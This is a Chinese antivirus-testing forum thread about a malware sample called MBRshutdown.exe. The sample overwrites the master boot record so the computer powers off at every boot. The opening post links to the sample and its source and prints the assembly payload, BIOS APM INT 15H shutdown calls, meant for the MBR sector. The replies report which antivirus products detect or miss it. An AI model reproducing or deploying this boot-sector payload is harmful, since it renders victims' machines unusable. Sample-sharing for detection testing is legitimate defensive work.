MBRshutdown.exe (最残忍的开机就关机)

显示全部楼层 · 发表于 2021-4-4 18:17:29

样本
https://wwx.lanzoui.com/iB2W4n5kj0h
源码
https://wwx.lanzoui.com/in9NGn5kj1i

写入MBR扇区汇程序的源码：
MOV AX,5301H
XOR BX,BX
INT 15H
MOV AX,530EH
XOR BX,BX
MOV CX,0102H
INT 15H
MOV AX,5307H ;同上
MOV BX,0001H
MOV CX,0003H
INT 15H

显示全部楼层 · 发表于 2021-4-4 18:20:04

eis智量miss

显示全部楼层 · 发表于 2021-4-4 18:21:23

Avast
Win32:Evo-gen [Susp]

显示全部楼层 · 发表于 2021-4-4 18:21:43

本帖最后由正在缓冲于 2021-4-4 18:29 编辑

Microsoft Defender SmartScreen下载拦截

Microsoft Defender：Trojan:Win32/Wacatac.B!ml
微步：经微步云沙箱检测该文件为恶意

（https://s.threatbook.cn/report/f ... p1_enx64_office2013）

显示全部楼层 · 发表于 2021-4-4 18:30:47

火绒杀

显示全部楼层 · 发表于 2021-4-4 19:05:47

本帖最后由 post88 于 2021-4-4 19:07 编辑

卡巴扫描miss，未双击，已上传opentip for reanalysis

显示全部楼层 · 发表于 2021-4-4 19:16:21

需要手动以管理员身份运行

显示全部楼层 · 发表于 2021-4-4 19:50:43

卡巴斯基双击蓝屏重启好像没发生啥事情

显示全部楼层 · 发表于 2021-4-4 19:59:37

泉州晋江发表于 2021-4-4 19:50
卡巴斯基双击蓝屏重启好像没发生啥事情

miss了，这个需要右键以管理员身份运行

显示全部楼层 · 发表于 2021-4-4 20:08:15

我傻了，以为是压缩包下意识双击....咖啡拦截了

[病毒样本] MBRshutdown.exe (最残忍的开机就关机)

本帖子中包含更多资源

本帖子中包含更多资源